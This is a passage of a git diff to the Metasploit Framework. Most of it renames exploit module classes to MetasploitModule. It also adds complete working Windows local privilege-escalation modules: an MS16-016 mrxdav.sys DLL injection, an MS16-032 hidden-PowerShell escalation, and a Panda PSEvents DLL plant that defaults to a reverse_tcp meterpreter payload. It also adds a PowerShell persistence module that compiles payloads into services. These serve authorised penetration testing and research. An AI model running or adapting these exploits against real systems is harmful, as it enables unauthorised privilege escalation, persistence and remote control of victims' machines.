b/modules/exploits/windows/local/ms14_058_track_popup_menu.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb index d1430d6bab..6809b48556 100644 --- a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb +++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel @@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") end - unless check == Exploit::CheckCode::Vulnerable + if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "Exploit not available on this system") end diff --git a/modules/exploits/windows/local/ms15_004_tswbproxy.rb b/modules/exploits/windows/local/ms15_004_tswbproxy.rb index a8cf36d104..1d78cc08f4 100644 --- a/modules/exploits/windows/local/ms15_004_tswbproxy.rb +++ b/modules/exploits/windows/local/ms15_004_tswbproxy.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File diff --git a/modules/exploits/windows/local/ms15_051_client_copy_image.rb b/modules/exploits/windows/local/ms15_051_client_copy_image.rb index afa42a0dcd..eae20ef784 100644 --- a/modules/exploits/windows/local/ms15_051_client_copy_image.rb +++ b/modules/exploits/windows/local/ms15_051_client_copy_image.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File diff --git a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb index e78ff63d46..76dbcb4529 100644 --- a/modules/exploits/windows/local/ms15_078_atmfd_bof.rb +++ b/modules/exploits/windows/local/ms15_078_atmfd_bof.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ManualRanking WIN32K_VERSIONS = [ diff --git a/modules/exploits/windows/local/ms16_016_webdav.rb b/modules/exploits/windows/local/ms16_016_webdav.rb new file mode 100644 index 0000000000..b582055545 --- /dev/null +++ b/modules/exploits/windows/local/ms16_016_webdav.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/reflective_dll_injection' +require 'rex' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::Windows::FileInfo + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'MS16-016 mrxdav.sys WebDav Local Privilege Escalation', + 'Description' => %q{ + This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn + a process on the target system and elevate it's privileges to NT AUTHORITY\SYSTEM before executing + the specified payload within the context of the elevated process. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Tamas Koczka', # Original Exploit + 'William Webb ' # C port and Metasploit module + ], + 'Arch' => ARCH_X86, + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => 'false' + }, + 'Targets' => + [ + [ 'Windows 7 SP1', { } ] + ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => + [ + [ 'CVE', '2016-0051' ], + [ 'MSB', 'MS16-016' ] + ], + 'DisclosureDate' => 'Feb 09 2016', + 'DefaultTarget' => 0 + })) + end + + def check + if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Detected + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + if sysinfo["Architecture"] =~ /wow64/i + fail_with(Failure::NoTarget, "Running against WOW64 is not supported") + elsif sysinfo["Architecture"] =~ /x64/ + fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + end + + print_status("Launching notepad to host the exploit...") + notepad_process_pid = cmd_exec_get_pid("notepad.exe") + begin + process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS) + print_good("Process #{process.pid} launched.") + rescue Rex::Post::Meterpreter::RequestError + print_status("Operation failed. Hosting exploit in the current process...") + process = client.sys.process.open + end + + print_status("Reflectively injecting the exploit DLL into #{process.pid}...") + library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2016-0051", "cve-2016-0051.x86.dll") + library_path = ::File.expand_path(library_path) + exploit_mem, offset = inject_dll_into_process(process, library_path) + print_status("Exploit injected ... injecting payload into #{process.pid}...") + payload_mem = inject_into_process(process, payload.encoded) + thread = process.thread.create(exploit_mem + offset, payload_mem) + sleep(3) + print_status("Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.") + end + end + diff --git a/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb new file mode 100644 index 0000000000..cc2606c54a --- /dev/null +++ b/modules/exploits/windows/local/ms16_032_secondary_logon_handle_privesc.rb @@ -0,0 +1,195 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/payload_generator' +require 'msf/core/exploit/powershell' +require 'rex' + +class MetasploitModule < Msf::Exploit::Local + + Rank = NormalRanking + + include Msf::Exploit::Powershell + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Process + include Msf::Post::File + include Msf::Post::Windows::ReflectiveDLLInjection + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation', + 'Description' => %q{ + This module exploits the lack of sanitization of standard handles in Windows' Secondary + Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 + 32 and 64 bit. This module will only work against those versions of Windows with + Powershell 2.0 or later and systems with two or more CPU cores. + }, + 'License' => BSD_LICENSE, + 'Author' => + [ + 'James Forshaw', # twitter.com/tiraniddo + 'b33f', # @FuzzySec, http://www.fuzzysecurity.com' + 'khr0x40sh' + ], + 'References' => + [ + [ 'MS', 'MS16-032'], + [ 'CVE', '2016-0099'], + [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ], + [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html'] + ], + 'DefaultOptions' => + { + 'WfsDelay' => 30, + 'EXITFUNC' => 'thread' + }, + 'DisclosureDate' => 'Mar 21 2016', + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => + [ + # Tested on (32 bits): + # * Windows 7 SP1 + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + # Tested on (64 bits): + # * Windows 7 SP1 + # * Windows 8 + # * Windows 2012 + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'DefaultTarget' => 0 + )) + + register_advanced_options( + [ + OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]), + OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]), + # How long until we DELETE file, we have a race condition here, so anything less than 60 + # seconds might break + OptInt.new('TIMEOUT', [false, 'Execution timeout', 60]) + ], self.class) + end + + def get_arch + arch = nil + + if sysinfo["Architecture"] =~ /(wow|x)64/i + arch = ARCH_X86_64 + elsif sysinfo["Architecture"] =~ /x86/i + arch = ARCH_X86 + end + + arch + end + + def check + os = sysinfo["OS"] + + if os !~ /win/i + # Non-Windows systems are definitely not affected. + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Detected + end + + def exploit + if is_system? + fail_with(Failure::None, 'Session is already elevated') + end + + arch1 = get_arch + if check == Exploit::CheckCode::Safe + print_error("Target is not Windows") + return + elsif arch1 == nil + print_error("Architecture could not be determined.") + return + end + + # Exploit PoC from 'b33f' + ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1') + vprint_status("PS1 loaded from #{ps_path}") + ms16_032 = File.read(ps_path) + + cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe' + + if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64 + cmdstr.gsub!("System32","SYSWOW64") + print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell") + vprint_warning("#{cmdstr}") + end + + # payload formatted to fit dropped text file + payl = cmd_psh_payload(payload.encoded,payload.arch,{ + encode_final_payload: false, + remove_comspec: true, + method: 'old' + }) + + payl.sub!(/.*?(?=New-Object IO)/im, "") + payl = payl.split("';$s.")[0] + payl.gsub!("''","'") + payl = "$s=#{payl}while($true){Start-Sleep 1000};" + + @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt" + path = datastore['W_PATH'] || pwd + @upfile = "#{path}\\#{@upfile}" + fd = session.fs.file.new(@upfile,"wb") + print_status("Writing payload file, #{@upfile}...") + fd.write(payl) + fd.close + psh_cmd = "IEX `$(gc #{@upfile})" + + #lpAppName + ms16_032.gsub!("$cmd","\"#{cmdstr}\"") + #lpcommandLine - capped at 1024b + ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"") + + print_status('Compressing script contents...') + ms16_032_c = compress_script(ms16_032) + + if ms16_032_c.size > 8100 + print_error("Compressed size: #{ms16_032_c.size}") + error_msg = "Compressed size may cause command to exceed " + error_msg += "cmd.exe's 8kB character limit." + print_error(error_msg) + else + print_good("Compressed size: #{ms16_032_c.size}") + end + + if datastore['DRY_RUN'] + print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}") + return + end + + print_status("Executing exploit script...") + cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}" + args = nil + + begin + process = session.sys.process.execute(cmd, args, { + 'Hidden' => true, + 'Channelized' => false + }) + rescue + print_error("An error occurred executing the script.") + end + end + + def cleanup + sleep_t = datastore['TIMEOUT'] + vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...") + sleep sleep_t + + begin + rm_f(@upfile) + print_good("Cleaned up #{@upfile}") + rescue + print_error("There was an issue with cleanup of the powershell payload script.") + end + end +end diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index dfa59f4b35..441ee622ba 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index 97b5f6d5b6..48e194aefb 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::Windows::Priv diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index e68b7eb646..9a2ef1896d 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::Windows::Priv diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb index a0269a72b3..5550173d86 100644 --- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Exploit::EXE diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb index eaab094978..97c19714e1 100644 --- a/modules/exploits/windows/local/nvidia_nvsvc.rb +++ b/modules/exploits/windows/local/nvidia_nvsvc.rb @@ -11,7 +11,7 @@ require 'msf/core/post/windows/process' require 'msf/core/post/windows/reflective_dll_injection' require 'msf/core/post/windows/services' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb new file mode 100644 index 0000000000..dc7f21d50b --- /dev/null +++ b/modules/exploits/windows/local/panda_psevents.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/exe' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Exploit::EXE + include Exploit::FileDropper + include Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Panda Security PSEvents Privilege Escalation', + 'Description' => %q{ + PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. + When run, it checks a user writable folder for certain DLL files, and if any are found + they are automatically run. + Vulnerable Products: + Panda Global Protection 2016 (<=16.1.2) + Panda Antivirus Pro 2016 (<=16.1.2) + Panda Small Busines Protetion (<=16.1.2) + Panda Internet Security 2016 (<=16.1.2) + }, + 'License' => MSF_LICENSE, + 'Author' => [ + "h00die ", # Module, + 'Security-Assessment.com' # discovery + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'payload' => 'windows/meterpreter/reverse_tcp', + 'exitfunc' => 'seh' + }, + 'References' => [ + [ + 'EDB', '40020', + 'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf', + 'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053' + ] + ], + 'DisclosureDate'=> 'Jun 27 2016' + )) + register_options( + [ + OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll', + ['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]), + OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]), + ], self.class) + end + + def get_path() + case sysinfo['OS'] + when /Windows (7|8|10|2012|2008)/ + return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' + when /Windows (NT|XP)/ + return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171' + end + end + + def check + if directory?(get_path()) + print_good('Vuln path exists') + CheckCode::Appears + else + vprint_error("#{get_path()} doesn't exist on target") + CheckCode::Safe + end + end + + def exploit + vprint_status("OS Detected as: #{sysinfo['OS']}") + + payload_filepath = get_path() + payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}" + upload_payload_dll(payload_filepath) + + # start the hour wait + stime = Time.now.to_f + print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...' + print_status "Start Time: #{Time.now.to_s}" + until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f + Rex.sleep(1) + end + end + + def upload_payload_dll(payload_filepath) + payload = generate_payload_dll() + print_status('Uploading the Payload DLL to the filesystem...') + begin + vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") + write_file(payload_filepath, payload) + register_file_for_cleanup(payload_filepath) + rescue Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}") + end + end +end diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 8648ea1dac..59f9fd37b6 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -7,31 +7,36 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/exe' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Process def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Manage Memory Payload Injection', - 'Description' => %q{ + 'Name' => 'Windows Manage Memory Payload Injection', + 'Description' => %q{ This module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID datastore option isn't specified, then it'll inject into notepad.exe instead. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'Carlos Perez ', 'sinn3r' ], - 'Platform' => [ 'win' ], - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Windows', {} ] ], - 'DefaultTarget' => 0, - 'DisclosureDate'=> "Oct 12 2011" + 'Platform' => [ 'win' ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'Payload' => + { + 'Space' => 4096, + 'DisableNops' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => "Oct 12 2011" )) register_options( diff --git a/modules/exploits/windows/local/persistence.rb b/modules/exploits/windows/local/persistence.rb index d719b37e3a..ff010ea276 100644 --- a/modules/exploits/windows/local/persistence.rb +++ b/modules/exploits/windows/local/persistence.rb @@ -11,7 +11,7 @@ require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking diff --git a/modules/exploits/windows/local/powershell_cmd_upgrade.rb b/modules/exploits/windows/local/powershell_cmd_upgrade.rb index 8a8b4bc1bc..b3258d5b41 100644 --- a/modules/exploits/windows/local/powershell_cmd_upgrade.rb +++ b/modules/exploits/windows/local/powershell_cmd_upgrade.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::Powershell diff --git a/modules/exploits/windows/local/powershell_remoting.rb b/modules/exploits/windows/local/powershell_remoting.rb index 30ad2442b7..ac63c1c122 100644 --- a/modules/exploits/windows/local/powershell_remoting.rb +++ b/modules/exploits/windows/local/powershell_remoting.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell diff --git a/modules/exploits/windows/local/ppr_flatten_rec.rb b/modules/exploits/windows/local/ppr_flatten_rec.rb index 9bf0d99c53..9ec2c9df0b 100644 --- a/modules/exploits/windows/local/ppr_flatten_rec.rb +++ b/modules/exploits/windows/local/ppr_flatten_rec.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File diff --git a/modules/exploits/windows/local/ps_persist.rb b/modules/exploits/windows/local/ps_persist.rb new file mode 100644 index 0000000000..37a2bd8d8c --- /dev/null +++ b/modules/exploits/windows/local/ps_persist.rb @@ -0,0 +1,189 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/post/windows/services' +require 'msf/core/post/windows/powershell' +require 'msf/core/exploit/powershell/dot_net' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Windows::Services + include Msf::Post::Windows::Powershell + include Msf::Post::Windows::Powershell::DotNet + include Msf::Post::File + + def initialize(info={}) + super(update_info(info, + 'Name' => "Powershell Payload Execution", + 'Description' => %q{ + This module generates a dynamic executable on the session host using .NET templates. + Code is pulled from C# templates and impregnated with a payload before being + sent to a modified PowerShell session with .NET 4 loaded. The compiler builds + the executable (standard or Windows service) in memory and produces a binary + which can be started/installed and downloaded for later use. After compilation the + PoweShell session can also sign the executable if provided a path the a .pfx formatted + certificate. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'RageLtMan ', # Module, libs, and powershell-fu + 'Matt "hostess" Andreko' # .NET harness, and requested modifications + ], + + 'Payload' => + { + 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, + 'EncoderOptions' => + { + 'BufferRegister' => 'EAX', + }, + }, + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Universal', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 14 2012' + + )) + + register_options( + [ + OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]), + OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']), + OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']), + OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]), + OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]), + + ], self.class) + + register_advanced_options( + [ + OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]), + OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']), + OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]), + OptString.new('USERNAME', [false, 'Windows username']), + OptString.new('PASSWORD', [false, 'Windows user password - cleartext']), + OptString.new('DOMAIN', [false, 'Windows domain or workstation name']), + + ], self.class) + + end + + def exploit + + # Make sure we meet the requirements before running the script + if !(session.type == "meterpreter" || have_powershell?) + print_error("Incompatible Environment") + return + end + # Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either + if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM' + print_error("Cannot run as system") + return + end + + # End of file marker + eof = Rex::Text.rand_text_alpha(8) + env_suffix = Rex::Text.rand_text_alpha(8) + + com_opts = {} + com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session + com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe" + com_opts[:payload] = payload_script #payload.encoded + vprint_good com_opts[:payload].length.to_s + + if datastore['SVC_GEN'] + com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs') + com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll'] + else + com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs') + end + + com_opts[:cert] = datastore['CERT_PATH'] + + if datastore['SVC_REMOVE'] + remove_dyn_service(com_opts[:target]) + return + end + vprint_good("Writing to #{com_opts[:target]}") + + com_script = dot_net_compiler(com_opts) + ps_out = psh_exec(com_script) + + if datastore['Powershell::Post::dry_run'] + print_good com_script + print_error ps_out + return + end + # Check for result + begin + size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size + vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb") + rescue + print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found") + return + end + + # Run the harness + if datastore['START_APP'] + if datastore['SVC_GEN'] + service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil) + if service_start(datastore['SVC_NAME']).to_i == 0 + vprint_good("Service Started") + end + else + session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true}) + end + end + + + print_good('Finished!') + end + + + # This should be handled by the exploit mixin, right? + def payload_script + pay_mod = framework.payloads.create(datastore['PAYLOAD']) + payload = pay_mod.generate_simple( + "BadChars" => '', + "Format" => 'raw', + "Encoder" => 'x86/alpha_mixed', + "ForceEncode" => true, + "Options" => + { + 'LHOST' => datastore['LHOST'], + 'LPORT' => datastore['LPORT'], + 'EXITFUNC' => 'thread', + 'BufferRegister' => 'EAX' + }, + ) + + # To ensure compatibility out payload should be US-ASCII + return payload.encode('ASCII') + end + + # Local service functionality should probably be replaced with upstream Post + def remove_dyn_service(file_path) + service_stop(datastore['SVC_NAME']) + if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0 + vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}") + session.fs.file.rm(file_path.gsub('\\','\\\\')) + else + print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}") + end + return + end + + def install_dyn_service(file_path) + + service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil) + if service_start(datastore['SVC_NAME']).to_i == 0 + vprint_good("Service Binary #{file_path} Started") + end + end + +end diff --git a/modules/exploits/windows/local/pxeexploit.rb b/modules/exploits/windows/local/pxeexploit.rb index 5830e98536..746a8bdc81 100644 --- a/modules/exploits/windows/local/pxeexploit.rb +++ b/modules/exploits/windows/local/pxeexploit.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/proto/tftp' require 'rex/proto/dhcp' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::TFTPServer diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb index 6efe4a89dc..e9ccc8bd79 100644 --- a/modules/exploits/windows/local/registry_persistence.rb +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/powershell' require 'msf/core/post/file' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::Powershell @@ -29,7 +29,7 @@ class Metasploit4 < Msf::Exploit::Local 'Donny Maasland ', ], 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter', 'cmd' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], 'Targets' => [ [ 'Automatic', { } ] diff --git a/modules/exploits/windows/local/run_as.rb b/modules/exploits/windows/local/run_as.rb index 122e0262f3..27d43d5cb9 100644 --- a/modules/exploits/windows/local/run_as.rb +++ b/modules/exploits/windows/local/run_as.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Runas include Msf::Post::Windows::Priv diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 40a4dc77e1..f5c11bf244 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/exe' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Local register_options( [ OptInt.new('FREQUENCY', [false, 'Schedule trigger: Frequency in minutes to execute']), - OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', '0']), + OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', 0]), OptEnum.new('TRIGGER', [true, 'Payload trigger method', 'schedule',['event', 'lock', 'logon', 'schedule', 'unlock']]), OptString.new('REXENAME', [false, 'Name of exe on remote system']), OptString.new('RTASKNAME', [false, 'Name of task on remote system']), diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index 5f182feb70..6d80118ba9 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb index dcea5907f9..9ac1b902f0 100644 --- a/modules/exploits/windows/local/trusted_service_path.rb +++ b/modules/exploits/windows/local/trusted_service_path.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/exe' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::FileDropper diff --git a/modules/exploits/windows/local/virtual_box_guest_additions.rb b/modules/exploits/windows/local/virtual_box_guest_additions.rb index fc78d7e63f..fd498565f7 100644 --- a/modules/exploits/windows/local/virtual_box_guest_additions.rb +++ 